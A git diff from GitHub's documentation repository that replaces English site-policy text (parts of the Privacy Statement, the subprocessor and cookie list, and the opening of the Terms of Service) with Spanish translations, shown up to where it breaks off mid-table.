-We store and process the information that we collect in the United States in accordance with this Privacy Statement, though our service providers may store and process data outside the United States. However, we understand that we have Users from different countries and regions with different privacy expectations, and we try to meet those needs even when the United States does not have the same privacy framework as other countries.
+Almacenamos y procesamos la información que recolectamos en los Estados Unidos de acuerdo con esta Declaración de Privacidad, aunque nuestros proveedores de servicios podrían almacenar y procesar los datos fuera de los Estados Unidos. Sin embargo, entendemos que tenemos usuarios de diferentes países y regiones con diferentes expectativas de privacidad e intentamos satisfacer esas necesidades incluso cuando los Estados Unidos no tienen el mismo marco de privacidad que otros países.
 
-We provide the same high standard of privacy protection—as described in this Privacy Statement—to all our users around the world, regardless of their country of origin or location, and we are proud of the levels of notice, choice, accountability, security, data integrity, access, and recourse we provide. We work hard to comply with the applicable data privacy laws wherever we do business, working with our Data Protection Officer as part of a cross-functional team that oversees our privacy compliance efforts. Additionally, if our vendors or affiliates have access to User Personal Information, they must sign agreements that require them to comply with our privacy policies and with applicable data privacy laws.
+Proporcionamos el mismo estándar alto de protección de privacidad—como se describe en la presente Declaración de Privacidad—a todos nuestros usuarios en todo el mundo, sin importar su país de origen o ubicación, y estamos orgullosos de los niveles de notificaciones, elección, responsabilidad, seguridad, integridad de datos, acceso y recursos que proporcionamos. Trabajamos duro para cumplir con las leyes vigentes sobre privacidad de datos dondequiera que hagamos negocios, al trabajar con nuestro Oficial de Protección de Datos como parte de un equipo multifuncional que supervisa nuestros esfuerzos de cumplimiento de la privacidad. Además, si nuestros proveedores o afiliados tienen acceso a la Información personal del usuario, deben firmar acuerdos que los obliguen a cumplir con nuestras políticas de privacidad y con las leyes vigentes sobre privacidad de datos.
 
-In particular:
+En particular:
 
- - GitHub provides clear methods of unambiguous, informed, specific, and freely given consent at the time of data collection, when we collect your User Personal Information using consent as a basis.
- - We collect only the minimum amount of User Personal Information necessary for our purposes, unless you choose to provide more. We encourage you to only give us the amount of data you are comfortable sharing.
- - We offer you simple methods of accessing, altering, or deleting the User Personal Information we have collected, where legally permitted.
- - We provide our Users notice, choice, accountability, security, and access regarding their User Personal Information, and we limit the purpose for processing it. We also provide our Users a method of recourse and enforcement.
+ - GitHub proporciona métodos claros de consentimiento sin ambigüedad, informado, específico y libremente dado en el momento de la recopilación de datos, cuando recopilamos tu Información personal del usuario utilizando el consentimiento como base.
+ - Solo recopilamos la cantidad mínima de Información personal del usuario necesaria para nuestros propósitos, a menos que decidas proporcionar más. Te animamos a que sólo nos proporciones la cantidad de datos que consideres oportuno compartir.
+ - Te ofrecemos métodos sencillos de acceso, modificación o eliminación de la Información personal del usuario que hemos recopilado, en los casos legalmente permitidos.
+ - Proporcionamos a nuestros usuarios aviso, elección, responsabilidad, seguridad y acceso con respecto a su Información personal del usuario y limitamos el propósito por el cual procesarla. También proporcionamos a nuestros usuarios un método de recurso y cumplimiento.
 
 ### Cross-border data transfers
 
-GitHub processes personal information both inside and outside of the United States and relies on Standard Contractual Clauses as the legally provided mechanism to lawfully transfer data from the European Economic Area, the United Kingdom, and Switzerland to the United States. In addition, GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks. To learn more about our cross-border data transfers, see our [Global Privacy Practices](/github/site-policy/global-privacy-practices).
+GitHub procesa información personal tanto dentro como fuera de los Estados Unidos y se basa en las Cláusulas Contractuales Estándar como un mecanismo legal para transferir datos legalmente desde el Área Económica Europea, el Reino Unido y Suiza hacia los Estados Unidos. Adicionalmente, GitHub está certificado en los Marcos de Trabajo de Escudo de Privacidad de UE-U. S. A. y Suiza-U. S. A. Para conocer más sobre las transferencias de datos interfronterizas, consulta nuestras [Prácticas de Privacidad Globales](/github/site-policy/global-privacy-practices).
 
-## How we communicate with you
+## Cómo nos comunicamos contigo
 
-We use your email address to communicate with you, if you've said that's okay, **and only for the reasons you’ve said that’s okay**. For example, if you contact our Support team with a request, we respond to you via email. You have a lot of control over how your email address is used and shared on and through GitHub. You may manage your communication preferences in your [user profile](https://github.com/settings/emails).
+Utilizamos tu dirección de correo electrónico para comunicarnos contigo, si estuviste de acuerdo con ello, **y solo por las razones con las que estuviste de acuerdo**. Por ejemplo, si contactas a nuestro equipo de Soporte con una solicitud, te responderemos por correo electrónico. Tienes mucho control sobre cómo se utiliza y comparte tu dirección de correo electrónico en y a través de GitHub. Puedes administrar tus preferencias de comunicación en tu perfil de usuario [](https://github.com/settings/emails).
 
-By design, the Git version control system associates many actions with a User's email address, such as commit messages. We are not able to change many aspects of the Git system. If you would like your email address to remain private, even when you’re commenting on public repositories, [you can create a private email address in your user profile](https://github.com/settings/emails). You should also [update your local Git configuration to use your private email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). This will not change how we contact you, but it will affect how others see you. We set current Users' email address private by default, but legacy GitHub Users may need to update their settings. Please see more about email addresses in commit messages [here](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address).
+Por diseño, el sistema de control de versiones de Git asocia muchas acciones con la dirección de correo electrónico de un usuario, como mensajes de confirmación. No podemos cambiar muchos aspectos del sistema Git. Si deseas que tu dirección de correo electrónico siga siendo privada, incluso cuando estés comentando en los repositorios públicos, [puedes crear una dirección de correo electrónico privada en tu perfil de usuario](https://github.com/settings/emails). También deberías [actualizar tu configuración local de Git para utilizar tu dirección de correo electrónico privada](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). Esto no cambiará la forma en que nos pondremos en contacto contigo, pero afectará la manera en que otros te vean. Actualmente configuramos la dirección de correo electrónico de los usuarios de forma privada por defecto, pero es posible que los usuarios de GitHub heredados necesiten actualizar sus configuraciones. Por favor, consulta la información adicional sobre las direcciones de correo electrónico en los mensajes de confirmación [aquí](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address).
 
-Depending on your [email settings](https://github.com/settings/emails), GitHub may occasionally send notification emails about changes in a repository you’re watching, new features, requests for feedback, important policy changes, or to offer customer support. We also send marketing emails, based on your choices and in accordance with applicable laws and regulations. There's an “unsubscribe” link located at the bottom of each of the marketing emails we send you. Please note that you cannot opt out of receiving important communications from us, such as emails from our Support team or system emails, but you can configure your notifications settings in your profile to opt out of other communications.
+Dependiendo de tu [configuración de correo electrónico](https://github.com/settings/emails), GitHub puede enviar ocasionalmente correos electrónicos de notificación sobre los cambios en un repositorio que estás viendo, nuevas características, solicitudes de comentarios, cambios importantes en la política o para ofrecer asistencia al cliente. También enviamos correos electrónicos de marketing, basados en tus opciones y de acuerdo con las leyes y regulaciones vigentes. Hay un enlace "darse de baja" ubicado en la parte inferior de cada uno de los correos electrónicos de marketing que te enviamos. Ten en cuenta que no puedes optar por no recibir comunicaciones importantes de nosotros, como correos electrónicos de nuestro equipo de soporte o correos electrónicos del sistema, pero puedes configurar la configuración de las notificaciones en tu perfil para optar por no recibir otras comunicaciones.
 
-Our emails may contain a pixel tag, which is a small, clear image that can tell us whether or not you have opened an email and what your IP address is. We use this pixel tag to make our email more effective for you and to make sure we’re not sending you unwanted email.
+Nuestros correos electrónicos pueden contener una etiqueta de píxeles, que es una pequeña imagen clara que puede decirnos si has abierto o no un correo electrónico y cuál es tu dirección IP. Utilizamos esta etiqueta de píxeles para que nuestro correo electrónico sea más efectivo para ti y para asegurarnos de que no te estamos enviando correo electrónico no deseado.
 
-## Resolving complaints
+## Resolver reclamos
 
-If you have concerns about the way GitHub is handling your User Personal Information, please let us know immediately. We want to help. You may contact us by filling out the [Privacy contact form](https://support.github.com/contact/privacy). You may also email us directly at privacy@github.com with the subject line "Privacy Concerns." We will respond promptly — within 45 days at the latest.
+Si tienes inquietudes acerca de la forma en que GitHub está manejando tu Información personal del usuario, por favor haznos un comentario inmediatamente. Queremos ayudar. Puedes ponerte en contacto con nosotros completando el [Formulario de contacto de privacidad](https://support.github.com/contact/privacy). También puedes enviarnos un correo electrónico directamente a privacy@github.com con el asunto "Confirmaciones de privacidad". Responderemos rápidamente, dentro de los 45 días a más tardar.
 
-You may also contact our Data Protection Officer directly.
+También puedes ponerte en contacto directamente con nuestro Responsable de Protección de Datos.
 
-| Our United States HQ | Our EU Office |
-|---|---|
-| GitHub Data Protection Officer | GitHub BV |
-| 88 Colin P. Kelly Jr. St. | Vijzelstraat 68-72 |
-| San Francisco, CA 94107 | 1017 HL Amsterdam |
-| United States | The Netherlands |
-| privacy@github.com | privacy@github.com |
+| Nuestra casa central de los Estados Unidos | Nuestra oficina de la UE |
+| ------------------------------------------ | ------------------------ |
+| Oficial de Protección de Datos de GitHub   | GitHub BV                |
+| 88 Colin P. Kelly Jr. St.                  | Vijzelstraat 68-72       |
+| San Francisco, CA 94107                    | 1017 HL Amsterdam        |
+| Estados Unidos                             | Países Bajos             |
+| privacy@github.com                         | privacy@github.com       |
 
-### Dispute resolution process
+### Proceso de resolución de disputas
 
-In the unlikely event that a dispute arises between you and GitHub regarding our handling of your User Personal Information, we will do our best to resolve it. Additionally, if you are a resident of an EU member state, you have the right to file a complaint with your local supervisory authority, and you might have more [options](/github/site-policy/global-privacy-practices#dispute-resolution-process).
+En el improbable caso de que surja una disputa entre tú y GitHub con respecto al manejo de tu Información personal del usuario, haremos todo lo posible por resolverla. Adicionalmente, si eres un residente de un estado miembro de la UE, tienes el derecho de emitir una queja con tu autoridad supervisora local, y podrías tener más [opciones](/github/site-policy/global-privacy-practices#dispute-resolution-process).
 
-## Changes to our Privacy Statement
+## Cambios en tu Declaración de privacidad
 
-Although most changes are likely to be minor, GitHub may change our Privacy Statement from time to time. We will provide notification to Users of material changes to this Privacy Statement through our Website at least 30 days prior to the change taking effect by posting a notice on our home page or sending email to the primary email address specified in your GitHub account. We will also update our [Site Policy repository](https://github.com/github/site-policy/), which tracks all changes to this policy. For other changes to this Privacy Statement, we encourage Users to [watch](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository) or to check our Site Policy repository frequently.
+Aunque es probable que la mayoría de los cambios sean mínimos, GitHub puede cambiar nuestra Declaración de privacidad de manera ocasional. Les notificaremos a los Usuarios acerca de los cambios materiales a esta Declaración de privacidad por medio de nuestro Sitio web, al menos, 30 días antes de que el cambio entre en vigencia a través de la publicación de un aviso en nuestra página de inicio o enviando un correo electrónico a la dirección principal de correo electrónico que se especifica en tu cuenta de GitHub. También actualizaremos nuestro [Repositorio de políticas del sitio](https://github.com/github/site-policy/), que realiza un seguimiento de todos los cambios de esta política. Para otros cambios en esta declaración de privacidad, invitamos a los usuarios a [consultar](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository) o a revisar el repositorio de nuestra política del sitio con frecuencia.
 
-## License
+## Licencia
 
-This Privacy Statement is licensed under this [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license).
+La presente Declaración de privacidad está autorizada conforme a esta [licencia de Creative Commons Zero](https://creativecommons.org/publicdomain/zero/1.0/). Para obtener más detalles, consulta nuestro [repositorio de políticas del sitio](https://github.com/github/site-policy#license).
 
-## Contacting GitHub
-Questions regarding GitHub's Privacy Statement or information practices should be directed to our [Privacy contact form](https://support.github.com/contact/privacy).
+## Contactarse con GitHub
+Las preguntas al respecto de la Declaración de privacidad de GitHub o de las prácticas de manejo de la información se deben realizar por medio de nuestro [Formulario de contacto de privacidad](https://support.github.com/contact/privacy).
 
-## Translations
+## Traducciones
 
-Below are translations of this document into other languages. In the event of any conflict, uncertainty, or apparent inconsistency between any of those versions and the English version, this English version is the controlling version.
+A continuación, aparecen traducciones de este documento a otros idiomas. En caso de cualquier conflicto, incertidumbre o aparente inconsistencia entre cualquiera de esas versiones y la versión en inglés, la versión en inglés es la versión que prima.
 
-### French
-Cliquez ici pour obtenir la version française: [Déclaration de confidentialité de GitHub](/assets/images/help/site-policy/github-privacy-statement(07.22.20)(FR).pdf)
+### Francés
+Cliquez ici pour obtenir la version française: [Déclaration de confidentialité de GitHub](/assets/images/help/site-policy/github-privacy-statement(12.20.19)(FR).pdf)
 
-### Other translations
+### Otras traducciones
 
-For translations of this statement into other languages, please visit [https://docs.github.com/](/) and select a language from the drop-down menu under “English.”
+Para las traducciones de esta declaración hacia otros idiomas, por favor visita [https://docs.github.com/](/) y selecciona el idioma desde el menú desplegable debajo de "Inglés".
diff --git a/translations/es-ES/content/github/site-policy/github-subprocessors-and-cookies.md b/translations/es-ES/content/github/site-policy/github-subprocessors-and-cookies.md
index 03ca56894a..932407ca5d 100644
--- a/translations/es-ES/content/github/site-policy/github-subprocessors-and-cookies.md
+++ b/translations/es-ES/content/github/site-policy/github-subprocessors-and-cookies.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Subprocessors and Cookies
+title: Subprocesadores y cookies de GitHub
 redirect_from:
   - /subprocessors
   - /github-subprocessors
@@ -13,68 +13,68 @@ topics:
   - Legal
 ---
 
-Effective date: **April 2, 2021**
+Fecha de entrada en vigor: **2 de abril de 2021**
 
-GitHub provides a great deal of transparency regarding how we use your data, how we collect your data, and with whom we share your data. To that end, we provide this page, which details [our subprocessors](#github-subprocessors), and how we use [cookies](#cookies-on-github).
+GitHub ofrece una gran cantidad de transparencia en cuanto a cómo usamos tus datos, cómo recopilamos tus datos y con quién los compartimos. Para este propósito, proporcionamos esta página, la cual detalla [nuestros subprocesadores](#github-subprocessors) y cómo utilizamos las [cookies](#cookies-on-github).
 
-## GitHub Subprocessors
+## Subprocesadores de GitHub
 
-When we share your information with third party subprocessors, such as our vendors and service providers, we remain responsible for it. We work very hard to maintain your trust when we bring on new vendors, and we require all vendors to enter into data protection agreements with us that restrict their processing of Users' Personal Information (as defined in the [Privacy Statement](/articles/github-privacy-statement/)).
+Cuando compartimos tu información con subprocesadores de terceros, como nuestros vendedores y proveedores de servicios, seguimos siendo responsables de ella. Trabajamos arduamente para mantener tu confianza cuando traemos nuevos proveedores y exigimos que todos los proveedores celebren acuerdos de protección de datos con nosotros que restrinjan su procesamiento de la información personal de los usuarios (tal como se define en la [Declaración de Privacidad](/articles/github-privacy-statement/)).
 
-| Name of Subprocessor | Description of Processing | Location of Processing | Corporate Location
-|:---|:---|:---|:---|
-| Automattic | Blogging service | United States | United States |
-| AWS Amazon | Data hosting | United States | United States |
-| Braintree (PayPal) | Subscription credit card payment processor | United States | United States |
-| Clearbit | Marketing data enrichment service | United States | United States |
-| Discourse | Community forum software provider | United States | United States |
-| Eloqua | Marketing campaign automation | United States | United States |
-| Google Apps | Internal company infrastructure | United States | United States |
-| MailChimp | Customer ticketing mail services provider | United States | United States |
-| Mailgun | Transactional mail services provider | United States | United States |
-| Microsoft | Microsoft Services | United States | United States |
-| Nexmo | SMS notification provider | United States | United States |
-| Salesforce.com | Customer relations management | United States | United States |
-| Sentry.io | Application monitoring provider | United States | United States |
-| Stripe | Payment provider | United States | United States |
-| Twilio & Twilio Sendgrid | SMS notification provider & transactional mail service provider | United States | United States |
-| Zendesk | Customer support ticketing system | United States | United States |
-| Zuora | Corporate billing system | United States | United States |
+| Nombre del subprocesador | Descripción del procesamiento                                                                   | Ubicación del procesamiento | Ubicación Corporativa |
+|:------------------------ |:----------------------------------------------------------------------------------------------- |:--------------------------- |:--------------------- |
+| Automattic               | Servicio de alojamiento                                                                         | Estados Unidos              | Estados Unidos        |
+| AWS Amazon               | Alojamiento de datos                                                                            | Estados Unidos              | Estados Unidos        |
+| Braintree (PayPal)       | Procesador de pagos de suscripción con tarjeta de crédito                                       | Estados Unidos              | Estados Unidos        |
+| Clearbit                 | Servicio de enriquecimiento de datos de marketing                                               | Estados Unidos              | Estados Unidos        |
+| Discourse                | Proveedor de software del foro de la comunidad                                                  | Estados Unidos              | Estados Unidos        |
+| Eloqua                   | Automatización de campañas de marketing                                                         | Estados Unidos              | Estados Unidos        |
+| Google Apps              | Infraestructura interna de la empresa                                                           | Estados Unidos              | Estados Unidos        |
+| MailChimp                | Proveedor de servicios de correo de billetaje de clientes                                       | Estados Unidos              | Estados Unidos        |
+| Mailgun                  | Proveedor de servicios de correo transaccional                                                  | Estados Unidos              | Estados Unidos        |
+| Microsoft                | Servicios de Microsoft                                                                          | Estados Unidos              | Estados Unidos        |
+| Nexmo                    | Proveedor de notificaciones SMS                                                                 | Estados Unidos              | Estados Unidos        |
+| Salesforce.com           | Gestión de relaciones con clientes                                                              | Estados Unidos              | Estados Unidos        |
+| Sentry.io                | Proveedor de monitoreo de aplicaciones                                                          | Estados Unidos              | Estados Unidos        |
+| Stripe                   | Proveedor de pagos                                                                              | Estados Unidos              | Estados Unidos        |
+| Twilio & Twilio Sendgrid | Proveedor de notificaciones por SMS & proveedor de servicio de correo electrónico transaccional | Estados Unidos              | Estados Unidos        |
+| Zendesk                  | Sistema de tickets de soporte al cliente                                                        | Estados Unidos              | Estados Unidos        |
+| Zuora                    | Sistema de facturación corporativa                                                              | Estados Unidos              | Estados Unidos        |
 
-When we bring on a new subprocessor who handles our Users' Personal Information, or remove a subprocessor, or we change how we use a subprocessor, we will update this page. If you have questions or concerns about a new subprocessor, we'd be happy to help. Please contact us via {% data variables.contact.contact_privacy %}.
+Cuando traemos un nuevo subprocesador que maneja la información personal de nuestros usuarios o eliminas un subprocesador, o cambiamos la manera en que usamos un subprocesador, actualizaremos esta página. Si tienes preguntas o inquietudes acerca de un nuevo subprocesador, estaremos encantados de ayudarte. Ponte en contacto con nosotros vía{% data variables.contact.contact_privacy %}.
 
-## Cookies on GitHub
+## Cookies en GitHub
 
-GitHub uses cookies to provide and secure our websites, as well as to analyze the usage of our websites, in order to offer you a great user experience. Please take a look at our [Privacy Statement](/github/site-policy/github-privacy-statement#our-use-of-cookies-and-tracking) if you’d like more information about cookies, and on how and why we use them. 
- 
-Since the number and names of cookies may change, the table below may be updated from time to time.
+GitHub utiliza cookies para proporcionar y asegurar nuestros sitios web, así como para analizar el uso de los mismos, para poder ofrecerte una gran experiencia de usuario. Por favor, echa un vistazo a nuestra [Declaración de privacidad](/github/site-policy/github-privacy-statement#our-use-of-cookies-and-tracking) si te gustaría obtener más información sobre las cookies y sobre cómo y por qué las utilizamos.
 
-| Service Provider | Cookie Name | Description | Expiration* |
-|:---|:---|:---|:---|
-| GitHub | `app_manifest_token` | This cookie is used during the App Manifest flow to maintain the state of the flow during the redirect to fetch a user session. | five minutes |
-| GitHub | `color_mode` | This cookie is used to indicate the user selected theme preference. | session | 
-| GitHub | `_device_id` | This cookie is used to track recognized devices for security purposes. | one year |
-| GitHub | `dotcom_user` | This cookie is used to signal to us that the user is already logged in. | one year |
-| GitHub | `_gh_ent` | This cookie is used for temporary application and framework state between pages like what step the customer is on in a multiple step form. | two weeks | 
-| GitHub | `_gh_sess` | This cookie is used for temporary application and framework state between pages like what step the user is on in a multiple step form. | session |
-| GitHub | `gist_oauth_csrf` | This cookie is set by Gist to ensure the user that started the oauth flow is the same user that completes it. | deleted when oauth state is validated |
-| GitHub | `gist_user_session` | This cookie is used by Gist when running on a separate host. | two weeks |
-| GitHub | `has_recent_activity` | This cookie is used to prevent showing the security interstitial to users that have visited the app recently. | one hour | 
-| GitHub | `__Host-gist_user_session_same_site` | This cookie is set to ensure that browsers that support SameSite cookies can check to see if a request originates from GitHub. | two weeks | 
-| GitHub | `__Host-user_session_same_site` | This cookie is set to ensure that browsers that support SameSite cookies can check to see if a request originates from GitHub. | two weeks | 
-| GitHub | `logged_in` | This cookie is used to signal to us that the user is already logged in. | one year | 
-| GitHub | `marketplace_repository_ids` | This cookie is used for the marketplace installation flow. | one hour |
-| GitHub | `marketplace_suggested_target_id` | This cookie is used for the marketplace installation flow. | one hour |
-| GitHub | `_octo` | This cookie is used for session management including caching of dynamic content, conditional feature access, support request metadata, and first party analytics. | one year | 
-| GitHub | `org_transform_notice` | This cookie is used to provide notice during organization transforms. | one hour |
-| GitHub | `private_mode_user_session` |  This cookie is used for Enterprise authentication requests. | two weeks |
-| GitHub | `saml_csrf_token` | This cookie is set by SAML auth path method to associate a token with the client. | until user closes browser or completes authentication request |
-| GitHub | `saml_csrf_token_legacy` | This cookie is set by SAML auth path method to associate a token with the client. | until user closes browser or completes authentication request |
-| GitHub | `saml_return_to` | This cookie is set by the SAML auth path method to maintain state during the SAML authentication loop. | until user closes browser or completes authentication request |
-| GitHub | `saml_return_to_legacy` | This cookie is set by the SAML auth path method to maintain state during the SAML authentication loop. | until user closes browser or completes authentication request |
-| GitHub | `tz` | This cookie allows us to customize timestamps to your time zone. | session | 
-| GitHub | `user_session` | This cookie is used to log you in. | two weeks |
+Ya que la cantidad de nombres y cookies puede cambiar, la tabla siguiente se podría actualizar a menudo.
 
-_*_ The **expiration** dates for the cookies listed below generally apply on a rolling basis.
+| Proveedor de servicios | Nombre de la Cookie                  | Descripción                                                                                                                                                                                                                                       | Vencimiento*                                                                               |
+|:---------------------- |:------------------------------------ |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:------------------------------------------------------------------------------------------ |
+| GitHub                 | `app_manifest_token`                 | Esta cookie se utiliza durante el flujo del manifiesto de la app para mantener su estado durante la redirección para obtener una sesión de usuario.                                                                                               | cinco minutos                                                                              |
+| GitHub                 | `color_mode`                         | Esta cookie se utiliza para indicar que el usuario seleccionó la preferencia de tema.                                                                                                                                                             | sesión                                                                                     |
+| GitHub                 | `_device_id`                         | Esta cookie se utiliza para rastrear los dispositivos reconocidos para propósitos de seguridad.                                                                                                                                                   | un año                                                                                     |
+| GitHub                 | `dotcom_user`                        | Esta cookie se utiliza para indicarnos que el usuario ya está registrado.                                                                                                                                                                         | un año                                                                                     |
+| GitHub                 | `_gh_ent`                            | Esta cookie se utiliza para la aplicación temporal y el estado del marco de trabajo entre las páginas como en qué paso se encuentra el cliente dentro de un formulario de varios pasos.                                                           | dos semanas                                                                                |
+| GitHub                 | `_gh_sess`                           | Esta cookie se usa para la aplicación temporal y el estado del marco entre las páginas como para indicar en qué paso está el usuario en un formulario de múltiples pasos.                                                                         | sesión                                                                                     |
+| GitHub                 | `gist_oauth_csrf`                    | Esta cookie se establece por Gist para asegurar que el usuario que inició el flujo oauth sea el mismo usuario que lo completa.                                                                                                                    | se borra al validar el estado de oauth                                                     |
+| GitHub                 | `gist_user_session`                  | Gist utiliza esta cookie cuando se ejecuta en un host por separado.                                                                                                                                                                               | dos semanas                                                                                |
+| GitHub                 | `has_recent_activity`                | Esta cookie se utiliza para prevenir que se muestre la seguridad que es intersticial a los usuarios que han visitado la app recientemente.                                                                                                        | una hora                                                                                   |
+| GitHub                 | `__Host-gist_user_session_same_site` | Esta cookie se configura para asegurar que los navegadores que soportan las cookies de SameSite puedan verificar si una solicitud se origina desde GitHub.                                                                                        | dos semanas                                                                                |
+| GitHub                 | `__Host-user_session_same_site`      | Esta cookie se configura para asegurar que los navegadores que soportan las cookies de SameSite puedan verificar si una solicitud se origina desde GitHub.                                                                                        | dos semanas                                                                                |
+| GitHub                 | `logged_in`                          | Esta cookie se utiliza para indicarnos que el usuario ya está registrado.                                                                                                                                                                         | un año                                                                                     |
+| GitHub                 | `marketplace_repository_ids`         | Esta cookie se utiliza para el flujo de instalación de marketplace.                                                                                                                                                                               | una hora                                                                                   |
+| GitHub                 | `marketplace_suggested_target_id`    | Esta cookie se utiliza para el flujo de instalación de marketplace.                                                                                                                                                                               | una hora                                                                                   |
+| GitHub                 | `_octo`                              | Esta cookie se utiliza para la administración de sesiones, incluyendo el almacenamiento en caché del contenido dinámico, el acceso de características condicionales, los metadatos de solicitud de soporte y la analítica de las primeras partes. | un año                                                                                     |
+| GitHub                 | `org_transform_notice`               | Esta cookie se utiliza para proporcionar notificaciones durante las transformaciones de las organizaciones.                                                                                                                                       | una hora                                                                                   |
+| GitHub                 | `private_mode_user_session`          | Esta cookie se utiliza para las solicitudes de autenticación empresarial.                                                                                                                                                                         | dos semanas                                                                                |
+| GitHub                 | `saml_csrf_token`                    | Esta cookie se establece mediante el método de ruta de autenticación de SAML para asociar un token con el cliente.                                                                                                                                | hasta que el usuario cierre el buscador o hasta que complete la solicitud de autenticación |
+| GitHub                 | `saml_csrf_token_legacy`             | Esta cookie se establece mediante el método de ruta de autenticación de SAML para asociar un token con el cliente.                                                                                                                                | hasta que el usuario cierre el buscador o hasta que complete la solicitud de autenticación |
+| GitHub                 | `saml_return_to`                     | Esta cookie se establece mediante el método de ruta de autenticación de SAML para mantener el estado durante el bucle de autenticación de SAML.                                                                                                   | hasta que el usuario cierre el buscador o hasta que complete la solicitud de autenticación |
+| GitHub                 | `saml_return_to_legacy`              | Esta cookie se establece mediante el método de ruta de autenticación de SAML para mantener el estado durante el bucle de autenticación de SAML.                                                                                                   | hasta que el usuario cierre el buscador o hasta que complete la solicitud de autenticación |
+| GitHub                 | `tz`                                 | Esta cookie nos permite personalizar las marcas de tiempo a tu zona horaria.                                                                                                                                                                      | sesión                                                                                     |
+| GitHub                 | `user_session`                       | Esta cookie se utiliza para que inicies sesión.                                                                                                                                                                                                   | dos semanas                                                                                |
 
-(!) Please note while we limit our use of third party cookies to those necessary to provide external functionality when rendering external content, certain pages on our website may set other third party cookies. For example, we may embed content, such as videos, from another site that sets a cookie. While we try to minimize these third party cookies, we can’t always control what cookies this third party content sets.
+_*_ Las fechas de **vencimiento** para las cookies que se listan a continuación generalmente se aplican permanentemente.
+
+(i) Por favor, ten encuenta que si bien limitamos nuestro uso de cookies de terceros a aquellas necesarias para proporcionar una funcionalidad externa cuando interpretamos el contenido externo, algunas páginas en nuestro sitio web podrían configurar otras cookies de terceros. Por ejemplo, es posible que insertamos contenido, como vídeos, desde otro sitio que establezca una cookie. Si bien tratamos de minimizar estas cookies de terceros, no siempre podemos controlar qué cookies establece este contenido de terceros.
diff --git a/translations/es-ES/content/github/site-policy/github-terms-of-service.md b/translations/es-ES/content/github/site-policy/github-terms-of-service.md
index 9ac616977a..3a3b88fef2 100644
--- a/translations/es-ES/content/github/site-policy/github-terms-of-service.md
+++ b/translations/es-ES/content/github/site-policy/github-terms-of-service.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Terms of Service
+title: Términos de servicio de GitHub
 redirect_from:
   - /tos
   - /terms
@@ -13,303 +13,303 @@ topics:
   - Legal
 ---
 
-Thank you for using GitHub! We're happy you're here. Please read this Terms of Service agreement carefully before accessing or using GitHub. Because it is such an important contract between us and our users, we have tried to make it as clear as possible. For your convenience, we have presented these terms in a short non-binding summary followed by the full legal terms.
+¡Gracias por usar GitHub! Estamos felices de que estés aquí. Por favor, lee cuidadosamente estos Términos de Servicio antes de ingresar o usar GitHub. Ya que se trata de un contrato tan importante entre nosotros y nuestros usuarios, intentamos ser muy claros. Para tu comodidad, presentamos estos términos en un breve resumen no vinculante seguido de los términos legales completos.
 
-## Summary
+## Resumen
 
-| Section | What can you find there? |
-| --- | --- |
-| [A. Definitions](#a-definitions) | Some basic terms, defined in a way that will help you understand this agreement. Refer back up to this section for clarification. |
-| [B. Account Terms](#b-account-terms) | These are the basic requirements of having an Account on GitHub.  |
-| [C. Acceptable Use](#c-acceptable-use)| These are the basic rules you must follow when using your GitHub Account. |
-| [D. User-Generated Content](#d-user-generated-content) | You own the content you post on GitHub. However, you have some responsibilities regarding it, and we ask you to grant us some rights so we can provide services to you. |
-| [E. Private Repositories](#e-private-repositories) | This section talks about how GitHub will treat content you post in private repositories. |
-| [F. Copyright & DMCA Policy](#f-copyright-infringement-and-dmca-policy) | This section talks about how GitHub will respond if you believe someone is infringing your copyrights on GitHub. |
-| [G. Intellectual Property Notice](#g-intellectual-property-notice) | This describes GitHub's rights in the website and service. |
-| [H. API Terms](#h-api-terms) | These are the rules for using GitHub's APIs, whether you are using the API for development or data collection. |
-| [I. Additional Product Terms](#i-github-additional-product-terms) | We have a few specific rules for GitHub's features and products. |
-| [J. Beta Previews](#j-beta-previews) | These are some of the additional terms that apply to GitHub's features that are still in development. |
-| [K. Payment](#k-payment) | You are responsible for payment. We are responsible for billing you accurately. |
-| [L. Cancellation and Termination](#l-cancellation-and-termination) | You may cancel this agreement and close your Account at any time. |
-| [M. Communications with GitHub](#m-communications-with-github) | We only use email and other electronic means to stay in touch with our users. We do not provide phone support. |
-| [N. Disclaimer of Warranties](#n-disclaimer-of-warranties) | We provide our service as is, and we make no promises or guarantees about this service. **Please read this section carefully; you should understand what to expect.** |
-| [O. Limitation of Liability](#o-limitation-of-liability) | We will not be liable for damages or losses arising from your use or inability to use the service or otherwise arising under this agreement. **Please read this section carefully; it limits our obligations to you.** |
-| [P. Release and Indemnification](#p-release-and-indemnification) | You are fully responsible for your use of the service. |
-| [Q. Changes to these Terms of Service](#q-changes-to-these-terms) | We may modify this agreement, but we will give you 30 days' notice of material changes. |
-| [R. Miscellaneous](#r-miscellaneous) | Please see this section for legal details including our choice of law. |
+| Sección                                                                     | ¿Qué puedes encontrar allí?                                                                                                                                                                                                                        |
+| --------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [A. Definiciones](#a-definitions)                                           | Algunos términos básicos, definidos de forma que te ayude a entender este acuerdo. Consulta la copia de seguridad de esta sección para obtener una aclaración.                                                                                     |
+| [B. Términos de la cuenta](#b-account-terms)                                | Estos son los requisitos básicos para tener una cuenta en GitHub.                                                                                                                                                                                  |
+| [C. Uso aceptable](#c-acceptable-use)                                       | Estas son las reglas básicas que debes seguir cuando uses tu cuenta de GitHub.                                                                                                                                                                     |
+| [D. Contenido generado por el usuario](#d-user-generated-content)           | Eres responsable del contenido que publicas en GitHub. Sin embargo, tienes ciertas responsabilidades al respecto y te pedimos que nos otorgues algunos derechos de manera que podamos proporcionarte los servicios.                                |
+| [E. Repositorios privados](#e-private-repositories)                         | Esta sección expone cómo tratará GitHub el contenido que publiques en los repositorios privados.                                                                                                                                                   |
